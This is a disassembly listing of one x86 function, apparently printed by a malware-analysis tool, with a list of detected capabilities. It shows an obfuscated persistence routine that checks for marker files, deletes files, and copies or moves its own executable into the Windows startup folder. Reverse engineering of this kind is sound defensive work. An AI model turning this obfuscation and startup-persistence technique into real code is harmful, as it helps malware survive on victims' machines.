Function at 0x40e350
Capabilities:
Copy file
Delete file
Get common file path
Get startup folder
Move file
Write file to startup folder

Disassembly:
sub esp, 0x308
mov eax, dword [0x45f640]
xor eax, esp
mov dword [esp + 0x304], eax
push ebx
push esi
mov esi, dword [0x45dbe4]
mov eax, 0xc41087d7
imul esi
add edx, esi
mov eax, dword [0x45dbd0]
sar edx, 0x1a
mov ecx, edx
push edi
mov edi, dword [0x45dbcc]
lea ebx, [eax + edi]
imul ebx, ebx, 0x2baab78
shr ecx, 0x1f
add ecx, edx
mov edx, dword [0x45dbdc]
imul edx, edx, 0x3e6f678
add ebx, edx
mov eax, 0xc69fb513
imul esi
mov eax, dword [0x45dbe0]
imul eax, eax, 0x35bbff4
add edx, esi
sar edx, 0x19
add ebx, edx
mov esi, edx
shr esi, 0x1f
add esi, ebx
add esi, eax
mov eax, 0x974409b3
imul edi
add edx, edi
sar edx, 0x19
mov eax, edx
shr eax, 0x1f
add eax, edx
mov edx, dword [0x45dbc8]
sub esi, eax
mov eax, dword [0x45dbd4]
lea ebx, [eax + edx]
mov edi, dword [str._r_____r____]
imul ebx, ebx, 0x3e78532
add esi, ecx
mov dword [0x45dbdc], esi
mov esi, dword [0x45dbd8]
mov eax, 0xc69fb513
imul esi
add edx, esi
sar edx, 0x19
mov eax, edx
shr eax, 0x1f
add eax, edx
sub ebx, eax
mov edx, edi
imul edx, edx, 0x293e68d
add ebx, edx
mov eax, 0x2ee68aa5
imul esi
sar edx, 0x17
mov eax, edx
shr eax, 0x1f
add eax, edx
sub ebx, eax
mov eax, 0xcfdc5805
imul edi
add edx, edi
sar edx, 0x19
mov eax, edx
shr eax, 0x1f
add ebx, edx
add eax, ebx
sub eax, ecx
push 0
push str.C:Program_FilesMicrosoftSeaPort1.ini
mov dword [0x45dbe4], eax
call fcn.00430d0d
add esp, 8
cmp eax, 0xffffffff
je 0x40e937
push 0
push str.C:Program_FilesWindows_NTAccessOries1.ini
call fcn.00430d0d
add esp, 8
cmp eax, 0xffffffff
je 0x40e937
mov ecx, dword [0x45dbd0]
mov esi, dword [0x45dbc8]
imul esi, esi, 0x3e6f678
mov eax, 0x1066a8b3
imul ecx
sar edx, 0x16
add esi, edx
mov edi, edx
mov eax, 0x4f2cca89
imul ecx
shr edi, 0x1f
add edi, esi
sar edx, 0x18
add edi, edx
mov esi, edx
mov eax, 0x4c3a114b
imul ecx
mov ecx, dword [0x45dbe0]
imul ecx, ecx, 0xac2519
sar edx, 0x18
shr esi, 0x1f
add esi, edi
mov edi, edx
add esi, edx
shr edi, 0x1f
add edi, esi
sub edi, ecx
mov ecx, dword [0x45dbe4]
mov eax, 0x974409b3
imul ecx
add edx, ecx
sar edx, 0x19
mov eax, edx
shr eax, 0x1f
push 0x104
lea ecx, [esp + 0x214]
add eax, edx
push ecx
sub edi, eax
push 0
mov dword [0x45dbc8], edi
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
lea edx, [esp + 0x210]
push 0x5c
push edx
call fcn.00431770
mov esi, eax
push str..exe
lea eax, [esp + 0x21c]
push eax
lea ecx, [esp + 0x20]
push str._s_s
push ecx
inc esi
call fcn.00430971
mov ecx, dword [0x45dbd8]
mov edi, dword [0x45dbd0]
mov eax, 0x1066a8b3
imul ecx
imul ecx, ecx, 0x5390766
sar edx, 0x16
mov eax, edx
shr eax, 0x1f
add eax, edx
mov ebx, eax
mov eax, 0xcfdc5805
imul edi
add edx, edi
sar edx, 0x19
mov eax, edx
shr eax, 0x1f
add eax, edx
mov edx, dword [0x45dbe8]
sub ebx, eax
imul edx, edx, 0x20e865f
mov eax, dword [0x45dbc8]
imul eax, eax, 0x362805a
add ebx, edx
add ebx, eax
add esp, 0x18
add ebx, ecx
mov ecx, dword [0x45dbdc]
mov eax, 0xc41087d7
imul ecx
mov eax, dword [0x45dbe4]
add edx, ecx
sar edx, 0x1a
mov ecx, edx
shr ecx, 0x1f
add ecx, edx
push 0
sub ebx, ecx
push 0x18
lea edx, [esp + 0x118]
sub ebx, eax
push edx
sub ebx, 0x3e6f678
push 0
mov dword [0x45dbd0], ebx
call dword [sym.imp.SHELL32.dll_SHGetSpecialFolderPathA]
lea eax, [esp + 0x110]
lea ecx, [eax + 1]
mov dl, byte [eax]
inc eax
test dl, dl
jne 0x40e5e2
push ebp
sub eax, ecx
push esi
lea eax, [esp + eax + 0x118]
push 0x44e274
push eax
call fcn.00430971
mov ecx, dword [0x45dbd4]
mov esi, dword [0x45dbe8]
mov eax, 0x39604aed
imul ecx
sub edx, ecx
sar edx, 0x19
mov eax, edx
shr eax, 0x1f
add eax, edx
mov edx, dword [0x45dbc8]
imul edx, edx, 0x293e68d
mov ebx, eax
mov edi, esi
imul edi, edi, 0x3e6f678
sub ebx, edi
mov edi, dword [0x45dbe0]
add ebx, edx
mov eax, 0x4f2cca89
imul esi
sar edx, 0x18
mov eax, edx
shr eax, 0x1f
add eax, edx
sub ebx, eax
mov eax, 0x83228937
imul edi
add edx, edi
imul edi, edi, 0x3e78532
sar edx, 0x19
add ebx, edx
mov ebp, edx
mov eax, 0x7c780d21
imul esi
shr ebp, 0x1f
add ebp, ebx
mov ebx, dword [sym.imp.KERNEL32.dll_DeleteFileA]
sar edx, 0x18
add ebp, edi
mov eax, edx
shr eax, 0x1f
add ebp, edx
add eax, ebp
add esp, 0xc
mov dword [0x45dbd8], eax
xor edi, edi
jmp 0x40e6a4
mov eax, dword [0x45dbd8]
mov ecx, dword [0x45dbd4]
mov esi, dword [0x45dbe8]
mov edx, dword [0x45dbd0]
imul eax, eax, 0x35bbff4
imul ecx, ecx, 0x20e865f
lea ebp, [esi + edx]
mov edx, dword [0x45dbdc]
imul ebp, ebp, 0x276937b
imul edx, edx, 0x3e6f678
sub ebp, edx
add ebp, eax
mov eax, 0x2ee68aa5
imul esi
mov esi, dword [0x45dbcc]
sar edx, 0x17
add ebp, edx
mov eax, edx
shr eax, 0x1f
add eax, ebp
mov ebp, eax
mov eax, 0xcfdc5805
imul esi
add edx, esi
sar edx, 0x19
mov eax, edx
shr eax, 0x1f
add eax, edx
sub ebp, eax
sub ebp, ecx
lea ecx, [esp + 0x14]
push 0
push ecx
mov dword [0x45dbe0], ebp
call fcn.00430d0d
add esp, 8
cmp eax, 0xffffffff
je 0x40e72c
lea edx, [esp + 0x14]
push edx
call ebx
inc edi
cmp edi, 0x64
jl 0x40e693
mov ecx, dword [0x45dbd0]
mov eax, dword [0x45dbd8]
mov esi, dword [0x45dbe4]
mov edi, dword [0x45dbc8]
lea ebx, [eax + ecx]
imul ecx, ecx, 0x293e68d
imul ebx, ebx, 0x33bbc84
mov edx, esi
imul edx, edx, 0x3e6f678
sub ebx, edx
mov eax, 0xc69fb513
imul edi
add edx, edi
sar edx, 0x19
add ebx, edx
mov ebp, edx
mov eax, 0x4c3a114b
imul dword [str._r_____r____]
sar edx, 0x18
shr ebp, 0x1f
mov eax, edx
add ebp, ebx
mov ebx, dword [esp + 0x31c]
sub ebp, ecx
shr eax, 0x1f
add eax, edx
sub ebp, eax
mov eax, 0x83228937
imul edi
add edx, edi
sar edx, 0x19
mov ecx, edx
shr ecx, 0x1f
add ebp, edx
add ecx, ebp
test ebx, ebx
mov dword [0x45dbe8], ecx
je 0x40e7b9
cmp ebx, 2
jne 0x40e899
mov edi, dword [sym.imp.KERNEL32.dll_MoveFileExA]
push 4
lea ecx, [esp + 0x118]
push ecx
lea edx, [esp + 0x1c]
push edx
call edi
test eax, eax
jne 0x40e88d
mov ecx, dword [0x45dbd4]
mov esi, dword [0x45dbcc]
mov eax, 0xc69fb513
imul ecx
add edx, ecx
sar edx, 0x19
mov ebx, edx
mov eax, esi
imul eax, eax, 0x33bbc84
shr ebx, 0x1f
add ebx, edx
add ebx, eax
mov eax, 0x2ee68aa5
imul esi
sar edx, 0x17
mov eax, edx
shr eax, 0x1f
add eax, edx
mov edx, dword [0x45dbe8]
sub ebx, eax
imul edx, edx, 0x20e865f
mov eax, dword [0x45dbdc]
imul eax, eax, 0x362805a
add ebx, edx
add ebx, eax
mov eax, 0xc41087d7
imul ecx
add edx, ecx
sar edx, 0x1a
mov ecx, edx
shr ecx, 0x1f
add ecx, edx
mov eax, 0xc41087d7
imul esi
add edx, esi
sar edx, 0x1a
sub ebx, ecx
mov eax, edx
push 6
add ebx, edx
lea ecx, [esp + 0x118]
shr eax, 0x1f
push ecx
lea edx, [esp + 0x1c]
add eax, ebx
push edx
mov dword [str._r_____r____], eax
call edi
mov eax, 0xfffffffe
pop ebp
pop edi
pop esi
pop ebx
mov ecx, dword [esp + 0x304]
xor ecx, esp
call fcn.0043079d
add esp, 0x308
ret
mov esi, dword [0x45dbe4]
mov ecx, dword [0x45dbe8]
mov edi, dword [0x45dbd4]
imul esi, esi, 0x3e6f678
imul ecx, ecx, 0x20e865f
mov eax, 0xc69fb513
imul edi
mov eax, dword [0x45dbe0]
add edx, edi
imul eax, eax, 0x33bbc84
sar edx, 0x19
add esi, edx
mov ebp, edx
shr ebp, 0x1f
add ebp, esi
mov esi, dword [0x45dbcc]
add ebp, eax
mov eax, 0x83228937
imul esi
add edx, esi
sar edx, 0x19
add ebp, edx
mov esi, edx
mov eax, 0x974409b3
imul edi
shr esi, 0x1f
add esi, ebp
sub esi, ecx
add edx, edi
sar edx, 0x19
mov ecx, edx
shr ecx, 0x1f
add esi, edx
add ecx, esi
sub ecx, dword [str._r_____r____]
add ecx, 0x276937b
cmp ebx, 1
mov dword [0x45dbcc], ecx
je 0x40e91b
cmp ebx, 2
jne 0x40e930
push 0
lea edx, [esp + 0x18]
push edx
lea eax, [esp + 0x21c]
push eax
call dword [sym.imp.KERNEL32.dll_CopyFileA]
xor eax, eax
jmp 0x40e874
mov ecx, dword [esp + 0x310]
pop edi
pop esi
pop ebx
xor ecx, esp
or eax, 0xffffffff
call fcn.0043079d
add esp, 0x308
ret